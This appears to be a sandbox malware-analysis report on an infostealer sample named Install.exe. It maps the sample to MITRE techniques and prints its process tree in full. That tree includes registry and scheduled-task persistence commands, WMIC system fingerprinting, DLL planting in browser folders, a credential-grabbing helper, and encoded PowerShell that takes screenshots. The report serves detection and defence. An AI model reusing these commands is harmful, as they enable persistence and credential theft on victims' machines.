d40f4e95ea380c095a726b46316875c96859820a7a71ec6a61f6ad03fa25f968

Analysis

user interaction
yes
max time kernel
76s
max time network
48s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 15:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Install.exe
Size 91.9MB
Sample260804-sydxgsch79
SHA256 d40f4e95ea380c095a726b46316875c96859820a7a71ec6a61f6ad03fa25f968
MD5 2db1d2dbac52caa391644ce319e15541
SHA1 820339323d94ee53637348d42d0ea04fce7f8e28
SHA512 aeb30ec09c4c8557c43676e0f52528773d5afdc1e6185d966ab2633165fa1fe21c55f5024a972f6ad44b3ed33433c5eeb7fac472dbd6e08e451fc82c71fde785
SSDEEP 393216:rAsN5fijNgTxNmDJdAJr/NYeerl/CAvYXJu1ZzlxlO7EnmvwjfIZVFxep8MI2w/J:rJUfzDIj20mvt5m6dG/ubi9t
TLSH
T123282BE113A5095BE5BF0B768DF1255E80F2B8132B38918BB667374E4E7B2C28674F44
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Boot or Logon Autostart Execution: Active Setup 2 TTPs 2 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Active Setup\Installed Components\jlrU9NV	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Active Setup\Installed Components\jlrU9NV\StubPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Install.exe"	reg.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jlrU9NV.exe	Install.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jlrU9NV.exe	Install.exe

Executes dropped EXE 1 IoCs

pid	Process
5996	chromelevator.exe

Loads dropped DLL 6 IoCs

pid	Process
5072	Install.exe
5072	Install.exe
3424	Install.exe
3424	Install.exe
3484	Install.exe
3484	Install.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\jlrU9NV = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Install.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\jlrU9NV = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Install.exe"	reg.exe

Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ifconfig.me
5	ifconfig.me

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 2 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3636	tasklist.exe
5616	tasklist.exe

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\version.dll	Install.exe
File created	C:\Program Files\7-Zip\version_orig.dll	Install.exe
File created	C:\Program Files\7-Zip\version.dll	Install.exe
File created	C:\Program Files\Google\Chrome\Application\version_orig.dll	Install.exe
File created	C:\Program Files\Google\Chrome\Application\version.dll	Install.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\version_orig.dll	Install.exe

Executes a command shell one-liner 1 TTPs 15 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4508	cmd.exe
3468	cmd.exe
5444	cmd.exe
3000	cmd.exe
2436	cmd.exe
3516	cmd.exe
4348	cmd.exe
5696	cmd.exe
5268	cmd.exe
5836	cmd.exe
3188	cmd.exe
240	cmd.exe
2772	cmd.exe
1444	cmd.exe
2748	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5200	WMIC.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4952	schtasks.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
3924	WMIC.exe
3924	WMIC.exe
3924	WMIC.exe
3924	WMIC.exe
5200	WMIC.exe
5200	WMIC.exe
5200	WMIC.exe
5200	WMIC.exe
5884	WMIC.exe
5884	WMIC.exe
5884	WMIC.exe
5884	WMIC.exe
2936	WMIC.exe
2936	WMIC.exe
2936	WMIC.exe
2936	WMIC.exe
4600	WMIC.exe
4600	WMIC.exe
4600	WMIC.exe
4600	WMIC.exe
2676	WMIC.exe
2676	WMIC.exe
2676	WMIC.exe
2676	WMIC.exe
908	WMIC.exe
908	WMIC.exe
908	WMIC.exe
908	WMIC.exe
4860	WMIC.exe
4860	WMIC.exe
4860	WMIC.exe
4860	WMIC.exe
4572	powershell.exe
4572	powershell.exe
3440	powershell.exe
3440	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3924	WMIC.exe
Token: SeSecurityPrivilege	3924	WMIC.exe
Token: SeTakeOwnershipPrivilege	3924	WMIC.exe
Token: SeLoadDriverPrivilege	3924	WMIC.exe
Token: SeSystemProfilePrivilege	3924	WMIC.exe
Token: SeSystemtimePrivilege	3924	WMIC.exe
Token: SeProfSingleProcessPrivilege	3924	WMIC.exe
Token: SeIncBasePriorityPrivilege	3924	WMIC.exe
Token: SeCreatePagefilePrivilege	3924	WMIC.exe
Token: SeBackupPrivilege	3924	WMIC.exe
Token: SeRestorePrivilege	3924	WMIC.exe
Token: SeShutdownPrivilege	3924	WMIC.exe
Token: SeDebugPrivilege	3924	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3924	WMIC.exe
Token: SeRemoteShutdownPrivilege	3924	WMIC.exe
Token: SeUndockPrivilege	3924	WMIC.exe
Token: SeManageVolumePrivilege	3924	WMIC.exe
Token: 33	3924	WMIC.exe
Token: 34	3924	WMIC.exe
Token: 35	3924	WMIC.exe
Token: 36	3924	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3924	WMIC.exe
Token: SeSecurityPrivilege	3924	WMIC.exe
Token: SeTakeOwnershipPrivilege	3924	WMIC.exe
Token: SeLoadDriverPrivilege	3924	WMIC.exe
Token: SeSystemProfilePrivilege	3924	WMIC.exe
Token: SeSystemtimePrivilege	3924	WMIC.exe
Token: SeProfSingleProcessPrivilege	3924	WMIC.exe
Token: SeIncBasePriorityPrivilege	3924	WMIC.exe
Token: SeCreatePagefilePrivilege	3924	WMIC.exe
Token: SeBackupPrivilege	3924	WMIC.exe
Token: SeRestorePrivilege	3924	WMIC.exe
Token: SeShutdownPrivilege	3924	WMIC.exe
Token: SeDebugPrivilege	3924	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3924	WMIC.exe
Token: SeRemoteShutdownPrivilege	3924	WMIC.exe
Token: SeUndockPrivilege	3924	WMIC.exe
Token: SeManageVolumePrivilege	3924	WMIC.exe
Token: 33	3924	WMIC.exe
Token: 34	3924	WMIC.exe
Token: 35	3924	WMIC.exe
Token: 36	3924	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5200	WMIC.exe
Token: SeSecurityPrivilege	5200	WMIC.exe
Token: SeTakeOwnershipPrivilege	5200	WMIC.exe
Token: SeLoadDriverPrivilege	5200	WMIC.exe
Token: SeSystemProfilePrivilege	5200	WMIC.exe
Token: SeSystemtimePrivilege	5200	WMIC.exe
Token: SeProfSingleProcessPrivilege	5200	WMIC.exe
Token: SeIncBasePriorityPrivilege	5200	WMIC.exe
Token: SeCreatePagefilePrivilege	5200	WMIC.exe
Token: SeBackupPrivilege	5200	WMIC.exe
Token: SeRestorePrivilege	5200	WMIC.exe
Token: SeShutdownPrivilege	5200	WMIC.exe
Token: SeDebugPrivilege	5200	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5200	WMIC.exe
Token: SeRemoteShutdownPrivilege	5200	WMIC.exe
Token: SeUndockPrivilege	5200	WMIC.exe
Token: SeManageVolumePrivilege	5200	WMIC.exe
Token: 33	5200	WMIC.exe
Token: 34	5200	WMIC.exe
Token: 35	5200	WMIC.exe
Token: 36	5200	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5200	WMIC.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 5072 wrote to memory of 4348	5072	Install.exe	89
PID 4348 wrote to memory of 3924	4348	cmd.exe	91
PID 5072 wrote to memory of 2748	5072	Install.exe	93
PID 2748 wrote to memory of 5200	2748	cmd.exe	95
PID 5072 wrote to memory of 5996	5072	Install.exe	96
PID 5996 wrote to memory of 4136	5996	chromelevator.exe	98
PID 5996 wrote to memory of 4136	5996	chromelevator.exe	98
PID 5996 wrote to memory of 4684	5996	chromelevator.exe	101
PID 5996 wrote to memory of 4684	5996	chromelevator.exe	101
PID 5072 wrote to memory of 4508	5072	Install.exe	102
PID 4508 wrote to memory of 5884	4508	cmd.exe	104
PID 5072 wrote to memory of 3468	5072	Install.exe	105
PID 3468 wrote to memory of 2936	3468	cmd.exe	107
PID 5072 wrote to memory of 240	5072	Install.exe	108
PID 240 wrote to memory of 4600	240	cmd.exe	110
PID 5072 wrote to memory of 5696	5072	Install.exe	111
PID 5696 wrote to memory of 2676	5696	cmd.exe	113
PID 5072 wrote to memory of 5444	5072	Install.exe	114
PID 5444 wrote to memory of 908	5444	cmd.exe	116
PID 5072 wrote to memory of 2772	5072	Install.exe	117
PID 2772 wrote to memory of 1196	2772	cmd.exe	119
PID 5072 wrote to memory of 5268	5072	Install.exe	121
PID 5268 wrote to memory of 4860	5268	cmd.exe	123
PID 5072 wrote to memory of 4572	5072	Install.exe	124
PID 5072 wrote to memory of 3440	5072	Install.exe	126
PID 5072 wrote to memory of 1444	5072	Install.exe	128
PID 1444 wrote to memory of 6056	1444	cmd.exe	130
PID 5072 wrote to memory of 5836	5072	Install.exe	131
PID 5836 wrote to memory of 4952	5836	cmd.exe	133
PID 5072 wrote to memory of 3000	5072	Install.exe	134
PID 3000 wrote to memory of 2092	3000	cmd.exe	136
PID 5072 wrote to memory of 2436	5072	Install.exe	137
PID 2436 wrote to memory of 1896	2436	cmd.exe	139
PID 3424 wrote to memory of 3516	3424	Install.exe	144
PID 3484 wrote to memory of 3188	3484	Install.exe	146
PID 3516 wrote to memory of 3636	3516	cmd.exe	147
PID 3188 wrote to memory of 5616	3188	cmd.exe	149

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
1⤵
- Creates a file in the Startup directory
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:5072
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4348
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5200
- C:\Users\Admin\AppData\Local\Temp\ls_z23ak4\chromelevator.exe
  C:\Users\Admin\AppData\Local\Temp\ls_z23ak4\chromelevator.exe --output-path C:\Users\Admin\AppData\Local\Temp\ls_z23ak4\output all
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5996
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:4136
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:4684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model,manufacturer /format:list"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4508
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model,manufacturer /format:list
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path SoftwareLicensingService get OA3xOriginalProductKey"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3468
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path SoftwareLicensingService get OA3xOriginalProductKey
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:240
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk get freespace"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5696
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic logicaldisk get freespace
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get size"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5444
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get size
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "getmac"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\system32\getmac.exe
    getmac
    3⤵
    PID:1196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5268
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcACgAkAG0AbwBuAGkAdABvAHIAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AEEAbABsAFMAYwByAGUAZQBuAHMACgAkAHQAbwB0AGEAbABXAGkAZAB0AGgAIAA9ACAAKAAkAG0AbwBuAGkAdABvAHIAcwAgAHwAIABNAGUAYQBzAHUAcgBlAC0ATwBiAGoAZQBjAHQAIAAtAFAAcgBvAHAAZQByAHQAeQAgAEIAbwB1AG4AZABzAC4AVwBpAGQAdABoACAALQBTAHUAbQApAC4AUwB1AG0ACgAkAG0AYQB4AEgAZQBpAGcAaAB0ACAAPQAgACgAJABtAG8AbgBpAHQAbwByAHMAIAB8ACAATQBlAGEAcwB1AHIAZQAtAE8AYgBqAGUAYwB0ACAALQBQAHIAbwBwAGUAcgB0AHkAIABCAG8AdQBuAGQAcwAuAEgAZQBpAGcAaAB0ACAALQBNAGEAeABpAG0AdQBtACkALgBNAGEAeABpAG0AdQBtAAoAJABtAGkAbgBYACAAPQAgACgAJABtAG8AbgBpAHQAbwByAHMAIAB8ACAATQBlAGEAcwB1AHIAZQAtAE8AYgBqAGUAYwB0ACAALQBQAHIAbwBwAGUAcgB0AHkAIABCAG8AdQBuAGQAcwAuAFgAIAAtAE0AaQBuAGkAbQB1AG0AKQAuAE0AaQBuAGkAbQB1AG0ACgAkAG0AaQBuAFkAIAA9ACAAKAAkAG0AbwBuAGkAdABvAHIAcwAgAHwAIABNAGUAYQBzAHUAcgBlAC0ATwBiAGoAZQBjAHQAIAAtAFAAcgBvAHAAZQByAHQAeQAgAEIAbwB1AG4AZABzAC4AWQAgAC0ATQBpAG4AaQBtAHUAbQApAC4ATQBpAG4AaQBtAHUAbQAKACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACgAJAB0AG8AdABhAGwAVwBpAGQAdABoACwAIAAkAG0AYQB4AEgAZQBpAGcAaAB0ACkACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKAGYAbwByAGUAYQBjAGgAIAAoACQAbQBvAG4AaQB0AG8AcgAgAGkAbgAgACQAbQBvAG4AaQB0AG8AcgBzACkAIAB7AAoAIAAgACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABtAG8AbgBpAHQAbwByAC4AQgBvAHUAbgBkAHMALgBYACwAIAAkAG0AbwBuAGkAdABvAHIALgBCAG8AdQBuAGQAcwAuAFkALAAgACQAbQBvAG4AaQB0AG8AcgAuAEIAbwB1AG4AZABzAC4AWAAgAC0AIAAkAG0AaQBuAFgALAAgACQAbQBvAG4AaQB0AG8AcgAuAEIAbwB1AG4AZABzAC4AWQAgAC0AIAAkAG0AaQBuAFkALAAgACQAbQBvAG4AaQB0AG8AcgAuAEIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAfQAKACQAZwByAGEAcABoAGkAYwBzAC4ARABpAHMAcABvAHMAZQAoACkACgAkAGIAaQB0AG0AYQBwAC4AUwBhAHYAZQAoACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsAFwAXABUAGUAbQBwAFwAXABzAGMAcgBfADEANwA4ADUAOAA1ADcAOAAwADAAOAA3ADUALgBwAG4AZwAnACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcACgAkAHMAYwByAGUAZQBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4AUwBjAHIAZQBlAG4AXQA6ADoAUAByAGkAbQBhAHIAeQBTAGMAcgBlAGUAbgAKACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACgAJABzAGMAcgBlAGUAbgAuAEIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAHMAYwByAGUAZQBuAC4AQgBvAHUAbgBkAHMALgBIAGUAaQBnAGgAdAApAAoAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAaQB0AG0AYQBwACkACgAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAuAFgALAAgACQAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAuAFkALAAgADAALAAgADAALAAgACQAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAuAFMAaQB6AGUAKQAKACQAZwByAGEAcABoAGkAYwBzAC4ARABpAHMAcABvAHMAZQAoACkACgAkAGIAaQB0AG0AYQBwAC4AUwBhAHYAZQAoACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsAFwAXABUAGUAbQBwAFwAXABzAGMAcgBfADEANwA4ADUAOAA1ADcAOAAwADAAOAA3ADUALgBwAG4AZwAnACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "jlrU9NV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "jlrU9NV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f
    3⤵
    - Adds Run key to start application
    PID:6056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "jlrU9NV" /tr "\"C:\Users\Admin\AppData\Local\Temp\Install.exe\"" /sc onlogon /f /rl highest"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5836
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "jlrU9NV" /tr "\"C:\Users\Admin\AppData\Local\Temp\Install.exe\"" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Active Setup\Installed Components\jlrU9NV" /v StubPath /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Active Setup\Installed Components\jlrU9NV" /v StubPath /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f
    3⤵
    - Boot or Logon Autostart Execution: Active Setup
    PID:2092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "jlrU9NV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2436
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "jlrU9NV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f
    3⤵
    - Adds Run key to start application
    PID:1896

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1992

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5788

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 5072" /FO CSV /NH"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3188
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "PID eq 5072" /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:5616

C:\Users\Admin\AppData\Local\Temp\Install.exe
C:\Users\Admin\AppData\Local\Temp\Install.exe
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 5072" /FO CSV /NH"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3516
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "PID eq 5072" /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:3636

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1dc014ae71bae56db839e125468e8d693a4b569e68debde951499621335b231b
MD5 5d8e0f70203fde6a1430f5b5c28e8cee
SHA1 cc3bc878e3c3418129061f50682478671a88039d
SHA512 ca7b18fff985b25b949a5af89dec6fea6ae7582ab2cb174e61d8cc5376bfa8501df6ffa535e37a93950d2b114395d18ba2575caeef7b09dc18da9e0ee5de17de
TLSH
T14F215773F3CD8615D899403A50CEAC1036B597DB40DECE5BAB84D549B43F599CEA05A0
MD5 SHA1 SHA512 TLSH

Submit Download

.dat

Path C:\Users\Admin\AppData\Local\Temp\.dat
Size 4B
SHA256 9607bf9d54d419afa0183127cbd4ed038be4edc286c147b609a772a157b76fc6
MD5 a6e8ad49045f0bef72fb92d7c4a97fed
SHA1 2d98d2c65fce016e3abab6728e05915fc60c1e4a
SHA512 6c7c5b46e9d4bebfe57ed69676f28dd7fac0c479465640eea150b350910d7bdb12d8816eb5fdbbf85e5f420c69b33a86a3fdbba84b91b5288865e5356891b9b0
MD5 SHA1 SHA512

Submit Download

1994560362.node

Path C:\Users\Admin\AppData\Local\Temp\1994560362.node
